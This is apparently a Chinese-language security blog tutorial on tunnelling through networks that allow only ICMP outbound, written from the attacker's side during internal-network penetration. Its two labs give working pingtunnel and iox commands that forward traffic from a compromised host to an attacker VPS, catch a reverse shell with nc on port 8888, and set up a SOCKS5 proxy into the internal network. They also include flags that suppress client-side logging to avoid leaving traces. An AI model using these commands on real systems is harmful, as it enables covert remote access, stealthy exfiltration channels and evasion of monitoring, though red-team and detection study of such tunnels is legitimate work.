icmp 隧道代理搭建
VSole2022-08-07 20:17:09
簡介
在內網滲透中,內網隧道的搭建是必不可少的。有條件的情況下,優先使用tcp隧道,比較穩定可靠。但是遇到只有icmp協議出網的時候,就需要利用別的思路了。
ICMP代理
兩臺機器之間,只允許icmp 協議通訊,其他的協議tcp/udp 不允許,那么可以考慮利用icmp 隧道進行穿透。
常見的icmp 工具有
icmpshPingTunnelicmptunnelpowershell icmp
在不同的場景中需要用到不同的工具來進行穿透。
實驗1 利用icmp協議反彈shell:
單向主機出網,使用icmp 反彈shell
使用工具:
pingtunnel(https://github.com/esrrhs/pingtunnel)
拓撲環境圖下,Attack 為公網vps,攻擊機,然后內網web 主機僅能ping通attack

首先在vps 執行
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
然后下載pingtunnel 作為Server 端,key代表了密鑰
sudo ./pingtunnel -type server -key 457864
在被控主機Client執行
./pingtunnel -type client -l :4455 -s 47.x.x.x -t 47.x.x.x:8888 -tcp 1 -key 457864
以上意思就是客戶端監聽本地的4455 端口,指定服務端IP為47.x.x.x,然后將本地端口4455 的流量轉發
到47.x.x.x的8888 端口。
在Server 使用nc 監聽8888 端口

Client 執行反彈shell的命令,反彈到本地的4455 端口

此時Server 獲取到nc的shell

可以看到此時的流量均為icmp

實驗2 使用 iox + pingtunnel 搭建隧道
首先在服務端運行一下命令
./pingtunnel -type server -key 457864 //開啟pingtunnel 服務端./iox proxy -l 8898 -l 1080 //開啟iox,將8898 收到的請求轉發到1080 端口

在Client執行以下命令,注意需要增加noprint 和nolog命令,避免在客戶端產生大量的日志信息
./pingtunnel -type client -l 127.0.0.1:9999 -s 47.x.x.x -t 47.x.x.x:8898 -sock5 -1 -noprint 1 -nolog 1 -key 457864./iox proxy -r 127.0.0.1:9999 //將代理流量轉發到9999

然后再本地配置代理 socks5://47.x.x.x:1080 然后就可以訪問內網的IP

VSole
網絡安全專家